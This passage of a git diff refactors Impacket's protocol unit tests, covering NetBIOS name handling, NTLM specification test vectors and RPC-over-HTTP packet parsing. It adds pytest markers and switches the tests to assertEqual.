+# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +import pytest import unittest +from tests import RemoteTestCase from impacket import nmb from impacket.structure import hexdump -class NMBTests(unittest.TestCase): +@pytest.mark.remote +class NMBTests(RemoteTestCase, unittest.TestCase): + + def setUp(self): + super(NMBTests, self).setUp() + self.set_transport_config() + def create_connection(self): pass def test_encodedecodename(self): name = 'THISISAVERYLONGLONGNAME' - encoded = nmb.encode_name(name,nmb.TYPE_SERVER,None) + encoded = nmb.encode_name(name, nmb.TYPE_SERVER, None) hexdump(encoded) decoded = nmb.decode_name(encoded) - hexdump(bytearray(decoded[1],'utf-8')) + hexdump(bytearray(decoded[1], 'utf-8')) - #self.assertTrue(nmb.TYPE_SERVER==decoded[0]) - self.assertTrue(name[:15]==decoded[1].strip()) + #self.assertEqual(nmb.TYPE_SERVER, decoded[0]) + self.assertEqual(name[:15], decoded[1].strip()) # ToDo: Fix the scope functionality #namescope = 'MYNAME' @@ -29,14 +41,14 @@ def test_encodedecodename(self): #decoded = nmb.decode_name(encoded) #hexdump(decoded) - #self.assertTrue(nmb.TYPE_SERVER==decoded[0]) - #self.assertTrue(namescope[:15]==decoded[1].strip()) + #self.assertEqual(nmb.TYPE_SERVER, decoded[0]) + #self.assertEqual(namescope[:15], decoded[1].strip()) def test_getnetbiosname(self): n = nmb.NetBIOS() res = n.getnetbiosname(self.machine) print(repr(res)) - self.assertTrue( self.serverName, res) + self.assertEqual(self.serverName, res) def test_getnodestatus(self): n = nmb.NetBIOS() @@ -49,7 +61,7 @@ def test_gethostbyname(self): n = nmb.NetBIOS() n.set_nameserver(self.serverName) resp = n.gethostbyname(self.serverName, nmb.TYPE_SERVER) - print((resp.entries)) + print(resp.entries) def test_name_registration_request(self): n = nmb.NetBIOS() @@ -68,17 +80,8 @@ def test_name_query_request(self): # ToDo: Look at this # resp = n.name_registration_request('*SMBSERVER', self.serverName, nmb.TYPE_WORKSTATION, None,nmb.NB_FLAGS_G, '1.1.1.1') resp = n.name_query_request(self.serverName, self.machine) - print((resp.entries)) + print(resp.entries) -class NetBIOSTests(NMBTests): - def setUp(self): - NMBTests.setUp(self) - # Put specific configuration for target machine with SMB1 - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.serverName = configFile.get('SMBTransport', 'servername') - self.machine = configFile.get('SMBTransport', 'machine') if __name__ == "__main__": - suite = unittest.TestLoader().loadTestsFromTestCase(NetBIOSTests) - unittest.TextTestRunner(verbosity=1).run(suite) + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_ntlm.py b/tests/SMB_RPC/test_ntlm.py index 8eaa53d8e2..1185b8ebb5 100644 --- a/tests/SMB_RPC/test_ntlm.py +++ b/tests/SMB_RPC/test_ntlm.py @@ -1,3 +1,11 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# from __future__ import print_function import unittest import struct @@ -6,9 +14,9 @@ from impacket import ntlm from impacket.structure import hexdump -# Common values class NTLMTests(unittest.TestCase): + def setUp(self): # Turn test case mode on ntlm.TEST_CASE = True @@ -21,7 +29,7 @@ def setUp(self): self.time = b('\x00'*8) self.clientChallenge = b("\xaa"*8) self.serverChallenge = b("\x01\x23\x45\x67\x89\xab\xcd\xef") - self.flags = ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH | ntlm.NTLMSSP_NEGOTIATE_56 | ntlm.NTLMSSP_NEGOTIATE_128 | ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN | ntlm.NTLMSSP_NEGOTIATE_NTLM | ntlm.NTLMSSP_NEGOTIATE_SEAL | ntlm.NTLMSSP_NEGOTIATE_SIGN | ntlm.NTLM_NEGOTIATE_OEM | ntlm.NTLMSSP_NEGOTIATE_UNICODE + self.flags = ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH | ntlm.NTLMSSP_NEGOTIATE_56 | ntlm.NTLMSSP_NEGOTIATE_128 | ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN | ntlm.NTLMSSP_NEGOTIATE_NTLM | ntlm.NTLMSSP_NEGOTIATE_SEAL | ntlm.NTLMSSP_NEGOTIATE_SIGN | ntlm.NTLM_NEGOTIATE_OEM | ntlm.NTLMSSP_NEGOTIATE_UNICODE self.seqNum = 0 self.nonce = b('\x00'*16) self.plaintext = 'Plaintext'.encode('utf-16le') @@ -35,35 +43,35 @@ def test_ntlmv1(self): print("4.2.2.1 LMOWFv1()") res = ntlm.LMOWFv1(self.password) hexdump(res) - self.assertTrue(res==bytearray(b'\xe5,\xacgA\x9a\x9a"J;\x10\x8f?\xa6\xcbm')) + self.assertEqual(res, bytearray(b'\xe5,\xacgA\x9a\x9a"J;\x10\x8f?\xa6\xcbm')) print("\n") print("4.2.2.1.2 NTOWFv1()") res = ntlm.NTOWFv1(self.password) hexdump(res) - self.assertTrue(res==bytearray(b'\xa4\xf4\x9c\x40\x65\x10\xbd\xca\xb6\x82\x4e\xe7\xc3\x0f\xd8\x52')) + self.assertEqual(res, bytearray(b'\xa4\xf4\x9c\x40\x65\x10\xbd\xca\xb6\x82\x4e\xe7\xc3\x0f\xd8\x52')) print("\n") print("4.2.2.1.3 Session Base Key and Key Exchange Key") - ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv1(int(self.flags), self.serverChallenge, - self.clientChallenge, self.serverName, - self.domain, self.user, self.password, '', '') + ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv1(int(self.flags), self.serverChallenge, + self.clientChallenge, self.serverName, + self.domain, self.user, self.password, '', '') hexdump(sessionBaseKey) - self.assertTrue(sessionBaseKey==bytearray(b'\xD8\x72\x62\xB0\xCD\xE4\xB1\xCB\x74\x99\xBE\xCC\xCD\xF1\x07\x84')) + self.assertEqual(sessionBaseKey, bytearray(b'\xD8\x72\x62\xB0\xCD\xE4\xB1\xCB\x74\x99\xBE\xCC\xCD\xF1\x07\x84')) print("\n") print("4.2.2.2.1 NTLMv1 Response") hexdump(ntResponse) - self.assertTrue(ntResponse==bytearray(b'\x67\xC4\x30\x11\xF3\x02\x98\xA2\xAD\x35\xEC\xE6\x4F\x16\x33\x1C\x44\xBD\xBE\xD9\x27\x84\x1F\x94')) + self.assertEqual(ntResponse, bytearray(b'\x67\xC4\x30\x11\xF3\x02\x98\xA2\xAD\x35\xEC\xE6\x4F\x16\x33\x1C\x44\xBD\xBE\xD9\x27\x84\x1F\x94')) print("\n") print("4.2.2.2.2 LMv1 Response") hexdump(lmResponse) - self.assertTrue(lmResponse==bytearray(b'\x98\xDE\xF7\xB8\x7F\x88\xAA\x5D\xAF\xE2\xDF\x77\x96\x88\xA1\x72\xde\xf1\x1c\x7d\x5c\xcd\xef\x13')) + self.assertEqual(lmResponse, bytearray(b'\x98\xDE\xF7\xB8\x7F\x88\xAA\x5D\xAF\xE2\xDF\x77\x96\x88\xA1\x72\xde\xf1\x1c\x7d\x5c\xcd\xef\x13')) print("\n") print("4.2.2.2.2 LMv1 Response with NTLMSSP_NEGOTIATE_LM_KEY set") flags2 = self.flags #flags2 = flags | ntlm.NTLMSSP_LM_KEY #hexdump(struct.pack('<\xb7')) + self.assertEqual(ntlmChallengeResponse.getData(), bytearray(b'NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00|\x00\x00\x00\x18\x00\x18\x00\x94\x00\x00\x00\x0c\x00\x0c\x00X\x00\x00\x00\x08\x00\x08\x00d\x00\x00\x00\x10\x00\x10\x00l\x00\x00\x00\x10\x00\x10\x00\xac\x00\x00\x00\xb3\x82\x02\xe2D\x00o\x00m\x00a\x00i\x00n\x00U\x00s\x00e\x00r\x00C\x00O\x00M\x00P\x00U\x00T\x00E\x00R\x00\x98\xde\xf7\xb8\x7f\x88\xaa]\xaf\xe2\xdfw\x96\x88\xa1r\xde\xf1\x1c}\\\xcd\xef\x13g\xc40\x11\xf3\x02\x98\xa2\xad5\xec\xe6O\x163\x1cD\xbd\xbe\xd9\'\x84\x1f\x94Q\x88"\xb1\xb3\xf3P\xc8\x95\x86\x82\xec\xbb><\xb7')) print("\n") print("4.2.2.4 GSS_WrapEx") @@ -118,10 +126,10 @@ def test_ntlmv1(self): sealedMsg, signature = ntlm.SEAL(self.flags, self.nonce, self.nonce, self.plaintext, self.plaintext, self.seqNum, handle) #signature = ntlm.SIGN(flags, nonce, plaintext, seqNum, handle) hexdump(sealedMsg) - self.assertTrue(sealedMsg==bytearray(b'V\xfe\x04\xd8a\xf91\x9a\xf0\xd7#\x8a.;ME\x7f\xb8')) + self.assertEqual(sealedMsg, bytearray(b'V\xfe\x04\xd8a\xf91\x9a\xf0\xd7#\x8a.;ME\x7f\xb8')) print("\n") hexdump(signature.getData()) - self.assertTrue(signature.getData()==bytearray(b'\x01\x00\x00\x00\x00\x00\x00\x00\t\xdc\xd1\xdf.E\x9d6')) + self.assertEqual(signature.getData(), bytearray(b'\x01\x00\x00\x00\x00\x00\x00\x00\t\xdc\xd1\xdf.E\x9d6')) print("\n") print("####### 4.2.3 NTLMv1 with Client Challenge") @@ -135,27 +143,27 @@ def test_ntlmv1(self): hexdump(ntlm.NTOWFv1(self.password)) print("\n") print("4.2.3.1.2 Session Base Key") - ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv1(int(flags), self.serverChallenge, self.clientChallenge, + ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv1(int(flags), self.serverChallenge, self.clientChallenge, self.serverName, self.domain, self.user, self.password, '', '') hexdump(sessionBaseKey) - self.assertTrue(sessionBaseKey==bytearray(b'\xd8rb\xb0\xcd\xe4\xb1\xcbt\x99\xbe\xcc\xcd\xf1\x07\x84')) + self.assertEqual(sessionBaseKey, bytearray(b'\xd8rb\xb0\xcd\xe4\xb1\xcbt\x99\xbe\xcc\xcd\xf1\x07\x84')) print("\n") print("4.2.3.1.3 Key Exchange Key") keyExchangeKey = ntlm.KXKEY(flags, sessionBaseKey, lmResponse, self.serverChallenge, self.password,'','') hexdump(keyExchangeKey) # ToDo: Fix this - #self.assertTrue(keyExchangeKey==bytearray(b'\xeb\x93\x42\x9a\x8b\xd9\x52\xf8\xb8\x9c\x55\xb8\x7f\x47\x5e\xdc')) + #self.assertEqual(keyExchangeKey, bytearray(b'\xeb\x93\x42\x9a\x8b\xd9\x52\xf8\xb8\x9c\x55\xb8\x7f\x47\x5e\xdc')) print("\n") print("4.2.3.2.1 LMv1 Response") hexdump(lmResponse) - #self.assertTrue(lmResponse==bytearray(b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')) + #self.assertEqual(lmResponse, bytearray(b'\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')) print("\n") print("4.2.3.2.2 NTLMv1 Response") hexdump(ntResponse) # ToDo: Fix this - #self.assertTrue(ntResponse==bytearray(b'\x75\x37\xf8\x03\xae\x36\x71\x28\xca\x45\x82\x04\xbd\xe7\xca\xf8\x1e\x97\xed\x26\x83\x26\x72\x32')) + #self.assertEqual(ntResponse, bytearray(b'\x75\x37\xf8\x03\xae\x36\x71\x28\xca\x45\x82\x04\xbd\xe7\xca\xf8\x1e\x97\xed\x26\x83\x26\x72\x32')) print("\n") print("AUTHENTICATE MESSAGE") ntlm.generateEncryptedSessionKey(keyExchangeKey,self.randomSessionKey) @@ -166,7 +174,7 @@ def test_ntlmv1(self): ntlmChallengeResponse['lanman'] = lmResponse ntlmChallengeResponse['ntlm'] = ntResponse hexdump(ntlmChallengeResponse.getData()) - self.assertTrue(ntlmChallengeResponse.getData()==bytearray(b'NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00|\x00\x00\x00\x18\x00\x18\x00\x94\x00\x00\x00\x0c\x00\x0c\x00X\x00\x00\x00\x08\x00\x08\x00d\x00\x00\x00\x10\x00\x10\x00l\x00\x00\x00\x00\x00\x00\x00\xac\x00\x00\x00\xb3\x82\x02\xe2D\x00o\x00m\x00a\x00i\x00n\x00U\x00s\x00e\x00r\x00C\x00O\x00M\x00P\x00U\x00T\x00E\x00R\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00u7\xf8\x03\xae6q(\xcaE\x82\x04\xbd\xe7\xca\xf8\x1e\x97\xed&\x83&r2')) + self.assertEqual(ntlmChallengeResponse.getData(), bytearray(b'NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00|\x00\x00\x00\x18\x00\x18\x00\x94\x00\x00\x00\x0c\x00\x0c\x00X\x00\x00\x00\x08\x00\x08\x00d\x00\x00\x00\x10\x00\x10\x00l\x00\x00\x00\x00\x00\x00\x00\xac\x00\x00\x00\xb3\x82\x02\xe2D\x00o\x00m\x00a\x00i\x00n\x00U\x00s\x00e\x00r\x00C\x00O\x00M\x00P\x00U\x00T\x00E\x00R\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00u7\xf8\x03\xae6q(\xcaE\x82\x04\xbd\xe7\xca\xf8\x1e\x97\xed&\x83&r2')) print("\n") print("4.2.3.4 GSS_WrapEx") @@ -196,12 +204,12 @@ def test_ntlmv1(self): #signature = ntlm.SIGN(flags, clientSigningKey, plaintext, seqNum, client_sealing_h) hexdump(sealedMsg) # ToDo: Fix this - #self.assertTrue(ntResponse==bytearray(b'\xa0\x23\x72\xf6\x53\x02\x73\xf3\xaa\x1e\xb9\x01\x90\xce\x52\x00\xc9\x9d')) + #self.assertEqual(ntResponse, bytearray(b'\xa0\x23\x72\xf6\x53\x02\x73\xf3\xaa\x1e\xb9\x01\x90\xce\x52\x00\xc9\x9d')) print("\n") print("Signature") hexdump(signature.getData()) # ToDo: Fix this - #self.assertTrue(ntResponse==bytearray(b'\x01\x00\x00\x00\xff\x2a\xeb\x52\xf6\x81\x79\x3a\x00\x00\x00\x00') + #self.assertEqual(ntResponse, bytearray(b'\x01\x00\x00\x00\xff\x2a\xeb\x52\xf6\x81\x79\x3a\x00\x00\x00\x00') print("\n") def test_ntlmv2(self): @@ -221,29 +229,29 @@ def test_ntlmv2(self): print("4.2.4.1.1 NTOWFv2 and LMOWFv2") res = ntlm.NTOWFv2(self.user,self.password,self.domain) hexdump(res) - self.assertTrue(res==bytearray(b'\x0c\x86\x8a@;\xfdz\x93\xa3\x00\x1e\xf2.\xf0.?')) + self.assertEqual(res, bytearray(b'\x0c\x86\x8a@;\xfdz\x93\xa3\x00\x1e\xf2.\xf0.?')) print("\n") print("\n") print("4.2.4.1.2 Session Base Key") ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv2(flags, self.serverChallenge, self.clientChallenge, serverName, self.domain, self.user, self.password, '', '' ) hexdump(sessionBaseKey) - self.assertTrue(sessionBaseKey==bytearray(b'\x8d\xe4\x0c\xca\xdb\xc1\x4a\x82\xf1\x5c\xb0\xad\x0d\xe9\x5c\xa3')) + self.assertEqual(sessionBaseKey, bytearray(b'\x8d\xe4\x0c\xca\xdb\xc1\x4a\x82\xf1\x5c\xb0\xad\x0d\xe9\x5c\xa3')) print("\n") print("4.2.4.2.1 LMv2 Response") hexdump(lmResponse) - self.assertTrue(lmResponse==bytearray(b'\x86\xc3P\x97\xac\x9c\xec\x10%TvJW\xcc\xcc\x19\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa')) + self.assertEqual(lmResponse, bytearray(b'\x86\xc3P\x97\xac\x9c\xec\x10%TvJW\xcc\xcc\x19\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa')) print("\n") print("4.2.4.2.2 NTLMv2 Response") hexdump(ntResponse[:16]) - self.assertTrue(ntResponse[:16]==bytearray(b'\x68\xcd\x0a\xb8\x51\xe5\x1c\x96\xaa\xbc\x92\x7b\xeb\xef\x6a\x1c')) + self.assertEqual(ntResponse[:16], bytearray(b'\x68\xcd\x0a\xb8\x51\xe5\x1c\x96\xaa\xbc\x92\x7b\xeb\xef\x6a\x1c')) print("\n") print("4.2.4.2.3 Encrypted Session Key") keyExchangeKey = ntlm.KXKEY(flags, sessionBaseKey, lmResponse, self.serverChallenge, self.password,'','') encryptedSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey,self.randomSessionKey) hexdump(encryptedSessionKey) - self.assertTrue(encryptedSessionKey==bytearray(b'\xC5\xDA\xD2\x54\x4F\xC9\x79\x90\x94\xCE\x1C\xE9\x0B\xC9\xD0\x3E')) + self.assertEqual(encryptedSessionKey, bytearray(b'\xC5\xDA\xD2\x54\x4F\xC9\x79\x90\x94\xCE\x1C\xE9\x0B\xC9\xD0\x3E')) print("\n") print("AUTHENTICATE MESSAGE") @@ -256,7 +264,7 @@ def test_ntlmv2(self): ntlmChallengeResponse['ntlm'] = ntResponse ntlmChallengeResponse['session_key'] = encryptedSessionKey hexdump(ntlmChallengeResponse.getData()) - self.assertTrue(ntlmChallengeResponse.getData()==bytearray(b'NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00|\x00\x00\x00T\x00T\x00\x94\x00\x00\x00\x0c\x00\x0c\x00X\x00\x00\x00\x08\x00\x08\x00d\x00\x00\x00\x10\x00\x10\x00l\x00\x00\x00\x10\x00\x10\x00\xe8\x00\x00\x003\x82\x8a\xe2D\x00o\x00m\x00a\x00i\x00n\x00U\x00s\x00e\x00r\x00C\x00O\x00M\x00P\x00U\x00T\x00E\x00R\x00\x86\xc3P\x97\xac\x9c\xec\x10%TvJW\xcc\xcc\x19\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaah\xcd\n\xb8Q\xe5\x1c\x96\xaa\xbc\x92{\xeb\xefj\x1c\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x02\x00\x0c\x00D\x00o\x00m\x00a\x00i\x00n\x00\x01\x00\x0c\x00S\x00e\x00r\x00v\x00e\x00r\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc5\xda\xd2TO\xc9y\x90\x94\xce\x1c\xe9\x0b\xc9\xd0>')) + self.assertEqual(ntlmChallengeResponse.getData(), bytearray(b'NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00|\x00\x00\x00T\x00T\x00\x94\x00\x00\x00\x0c\x00\x0c\x00X\x00\x00\x00\x08\x00\x08\x00d\x00\x00\x00\x10\x00\x10\x00l\x00\x00\x00\x10\x00\x10\x00\xe8\x00\x00\x003\x82\x8a\xe2D\x00o\x00m\x00a\x00i\x00n\x00U\x00s\x00e\x00r\x00C\x00O\x00M\x00P\x00U\x00T\x00E\x00R\x00\x86\xc3P\x97\xac\x9c\xec\x10%TvJW\xcc\xcc\x19\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaah\xcd\n\xb8Q\xe5\x1c\x96\xaa\xbc\x92{\xeb\xefj\x1c\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x02\x00\x0c\x00D\x00o\x00m\x00a\x00i\x00n\x00\x01\x00\x0c\x00S\x00e\x00r\x00v\x00e\x00r\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc5\xda\xd2TO\xc9y\x90\x94\xce\x1c\xe9\x0b\xc9\xd0>')) print("\n") print("4.2.4.4 GSS_WrapEx") print("Plaintext") @@ -274,22 +282,22 @@ def test_ntlmv2(self): client_sealing_h = cipher2.encrypt print("SEALKEY()") hexdump(clientSealingKey) - self.assertTrue(clientSealingKey==bytearray(b'Y\xf6\x00\x97<\xc4\x96\n%H\n|\x19nLX')) + self.assertEqual(clientSealingKey, bytearray(b'Y\xf6\x00\x97<\xc4\x96\n%H\n|\x19nLX')) print("\n") print("SIGNKEY()") hexdump(clientSigningKey) - self.assertTrue(clientSigningKey==bytearray(b'G\x88\xdc\x86\x1bG\x82\xf3]C\xfd\x98\xfe\x1a-9')) + self.assertEqual(clientSigningKey, bytearray(b'G\x88\xdc\x86\x1bG\x82\xf3]C\xfd\x98\xfe\x1a-9')) print("\n") print("Sealed Data") sealedMsg, signature = ntlm.SEAL(flags, clientSealingKey, clientSigningKey, self.plaintext, self.plaintext, self.seqNum, client_sealing_h) #signature = ntlm.SIGN(flags, clientSigningKey, plaintext, seqNum, client_sealing_h) hexdump(sealedMsg) - self.assertTrue(sealedMsg==bytearray(b'T\xe5\x01e\xbf\x196\xdc\x99` \xc1\x81\x1b\x0f\x06\xfb_')) + self.assertEqual(sealedMsg, bytearray(b'T\xe5\x01e\xbf\x196\xdc\x99` \xc1\x81\x1b\x0f\x06\xfb_')) print("\n") print("Signature") hexdump(signature.getData()) - self.assertTrue(signature.getData()==bytearray(b'\x01\x00\x00\x00\x00\xc1a\xa1\x1e@\x03\x9f\x00\x00\x00\x00')) + self.assertEqual(signature.getData(), bytearray(b'\x01\x00\x00\x00\x00\xc1a\xa1\x1e@\x03\x9f\x00\x00\x00\x00')) #print (repr(bytearray(str(signature)))) #raise print("\n") @@ -333,10 +341,4 @@ def test_refactor_negotiate_message(self): if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(NTLMTests) - unittest.TextTestRunner(verbosity=1).run(suite) + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_rpch.py b/tests/SMB_RPC/test_rpch.py index 1cbd0b424a..1faef7724a 100755 --- a/tests/SMB_RPC/test_rpch.py +++ b/tests/SMB_RPC/test_rpch.py @@ -1,18 +1,29 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# from __future__ import division from __future__ import print_function from struct import unpack +import pytest import unittest - -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser +from tests import RemoteTestCase from impacket.dcerpc.v5 import transport, epm, rpch from impacket.dcerpc.v5.ndr import NULL -class RPCHTest(unittest.TestCase): +@pytest.mark.remote +class RPCHTest(RemoteTestCase, unittest.TestCase): + + def setUp(self): + super(RPCHTest, self).setUp() + self.set_transport_config() + def test_1(self): # Direct connection to ncacn_http service, RPC over HTTP v1 # No authentication @@ -30,16 +41,19 @@ def test_1(self): request['vers_option'] = epm.RPC_C_VERS_ALL request['max_ents'] = 10 - resp = dce.request(request) + dce.request(request) dce.disconnect() # Reconnecting dce.connect() dce.bind(epm.MSRPC_UUID_PORTMAP) - resp = dce.request(request) + dce.request(request) dce.disconnect() + +class RPCHLocalTest(unittest.TestCase): + def test_2(self): # CONN/A1 resp = b'\x05\x00\x14\x03\x10\x00\x00\x00\x4c\x00\x00\x00\x00\x00' + \ @@ -55,10 +69,10 @@ def test_2(self): pduData = packet['pduData'] numberOfCommands = packet['NumberOfCommands'] - self.assertTrue(numberOfCommands == 4) - self.assertTrue(packet['Flags'] == rpch.RTS_FLAG_NONE) - self.assertTrue(packet['frag_len'] == 76) - self.assertTrue(len(pduData) == 56) + self.assertEqual(numberOfCommands, 4) + self.assertEqual(packet['Flags'], rpch.RTS_FLAG_NONE) + self.assertEqual(packet['frag_len'], 76) + self.assertEqual(len(pduData), 56) server_cmds = [] while numberOfCommands > 0: @@ -72,16 +86,16 @@ def test_2(self): for cmd in server_cmds: cmd.dump() - self.assertTrue(server_cmds[0].getData() == rpch.Version().getData()) + self.assertEqual(server_cmds[0].getData(), rpch.Version().getData()) receiveWindowSize = rpch.ReceiveWindowSize() receiveWindowSize['ReceiveWindowSize'] = 262144 - self.assertTrue(server_cmds[3].getData() == receiveWindowSize.getData()) + self.assertEqual(server_cmds[3].getData(), receiveWindowSize.getData()) cookie = rpch.Cookie() cookie['Cookie'] = b'\xb0\xf6\xaf=wb\x98\x07\x9b!Tn\xec\xf4"S' - self.assertTrue(server_cmds[1].getData() == cookie.getData()) + self.assertEqual(server_cmds[1].getData(), cookie.getData()) def test_3(self): # CONN/A3 @@ -109,7 +123,7 @@ def test_3(self): connectionTimeout = rpch.ConnectionTimeout() connectionTimeout['ConnectionTimeout'] = 120000 - self.assertTrue(server_cmds[0].getData() == connectionTimeout.getData()) + self.assertEqual(server_cmds[0].getData(), connectionTimeout.getData()) def test_4(self): # PING @@ -134,7 +148,7 @@ def test_4(self): for cmd in server_cmds: cmd.dump() - self.assertTrue(packet['Flags'] == rpch.RTS_FLAG_PING) + self.assertEqual(packet['Flags'], rpch.RTS_FLAG_PING) def test_5(self): # CONN/C2 @@ -164,13 +178,13 @@ def test_5(self): connectionTimeout = rpch.ConnectionTimeout() connectionTimeout['ConnectionTimeout'] = 120000 - self.assertTrue(server_cmds[2].getData() == connectionTimeout.getData()) + self.assertEqual(server_cmds[2].getData(), connectionTimeout.getData()) receiveWindowSize = rpch.ReceiveWindowSize() receiveWindowSize['ReceiveWindowSize'] = 65536 - self.assertTrue(server_cmds[1].getData() == receiveWindowSize.getData()) - self.assertTrue(server_cmds[0].getData() == rpch.Version().getData()) + self.assertEqual(server_cmds[1].getData(), receiveWindowSize.getData()) + self.assertEqual(server_cmds[0].getData(), rpch.Version().getData()) def test_6(self): # FlowControlAckWithDestination @@ -197,7 +211,7 @@ def test_6(self): for cmd in server_cmds: cmd.dump() - self.assertTrue(packet['Flags'] == rpch.RTS_FLAG_OTHER_CMD) + self.assertEqual(packet['Flags'], rpch.RTS_FLAG_OTHER_CMD) ack = rpch.Ack() ack['BytesReceived'] = 32914 @@ -205,7 +219,7 @@ def test_6(self): ack['ChannelCookie'] = rpch.RTSCookie() ack['ChannelCookie']['Cookie'] = b'\xe3yn|\xbch\xa9M\xab\x8d\x82@\xa0\x05r2' - self.assertTrue(server_cmds[1]['Ack'].getData() == ack.getData()) + self.assertEqual(server_cmds[1]['Ack'].getData(), ack.getData()) def test_7(self): # CONN/B2, IPv4 @@ -226,7 +240,7 @@ def test_7(self): pduData = packet['pduData'] numberOfCommands = packet['NumberOfCommands'] - self.assertTrue(packet['Flags'] == rpch.RTS_FLAG_IN_CHANNEL) + self.assertEqual(packet['Flags'], rpch.RTS_FLAG_IN_CHANNEL) server_cmds = [] while numberOfCommands > 0: @@ -257,7 +271,7 @@ def test_8(self): pduData = packet['pduData'] numberOfCommands = packet['NumberOfCommands'] - self.assertTrue(packet['Flags'] == rpch.RTS_FLAG_OUT_CHANNEL) + self.assertEqual(packet['Flags'], rpch.RTS_FLAG_OUT_CHANNEL) server_cmds = [] while numberOfCommands > 0: @@ -274,26 +288,9 @@ def test_8(self): channelLifetime = rpch.ChannelLifetime() channelLifetime['ChannelLifetime'] = 1073741824 - self.assertTrue(server_cmds[-2].getData() == channelLifetime.getData()) + self.assertEqual(server_cmds[-2].getData(), channelLifetime.getData()) -class RPCHTransport(RPCHTest): - def setUp(self): - RPCHTest.setUp(self) - configFile = ConfigParser.ConfigParser() - configFile.read('dcetests.cfg') - self.username = configFile.get('TCPTransport', 'username') - self.domain = configFile.get('TCPTransport', 'domain') - self.serverName = configFile.get('TCPTransport', 'servername') - self.password = configFile.get('TCPTransport', 'password') - self.machine = configFile.get('TCPTransport', 'machine') - self.hashes = configFile.get('TCPTransport', 'hashes') # Process command-line arguments. -if __name__ == '__main__': - import sys - if len(sys.argv) > 1: - testcase = sys.argv[1] - suite = unittest.TestLoader().loadTestsFromTestCase(globals()[testcase]) - else: - suite = unittest.TestLoader().loadTestsFromTestCase(RPCHTransport) - unittest.TextTestRunner(verbosity=1).run(suite) +if __name__ == "__main__": + unittest.main(verbosity=1) diff --git a/tests/SMB_RPC/test_rpcrt.py b/tests/SMB_RPC/test_rpcrt.py index e2070e900f..346d98bf12 100644 --- a/tests/SMB_RPC/test_rpcrt.py +++ b/tests/SMB_RPC/test_rpcrt.py @@ -1,10 +1,17 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# from __future__ import division from __future__ import print_function + +import pytest import unittest -try: - import ConfigParser -except ImportError: - import configparser as ConfigParser +from tests import RemoteTestCase from impacket.dcerpc.v5.ndr import NDRCALL from impacket.dcerpc.v5 import transport, epm, samr @@ -18,17 +25,16 @@ # endpoints (we should do specific tests for endpoints) # here we're using EPM just because we need one, and it's the # easiest one +class RPCRTTests(RemoteTestCase): -class DCERPCTests(unittest.TestCase): - def connectDCE(self, username, password, domain, lm='', nt='', aesKey='', TGT=None, TGS=None, tfragment=0, - dceFragment=0, - auth_type=RPC_C_AUTHN_WINNT, auth_level=RPC_C_AUTHN_LEVEL_NONE, dceAuth=True, doKerberos=False, - bind=epm.MSRPC_UUID_PORTMAP): + def connectDCE(self, username, password, domain, lm='', nt='', aes_key='', TGT=None, TGS=None, 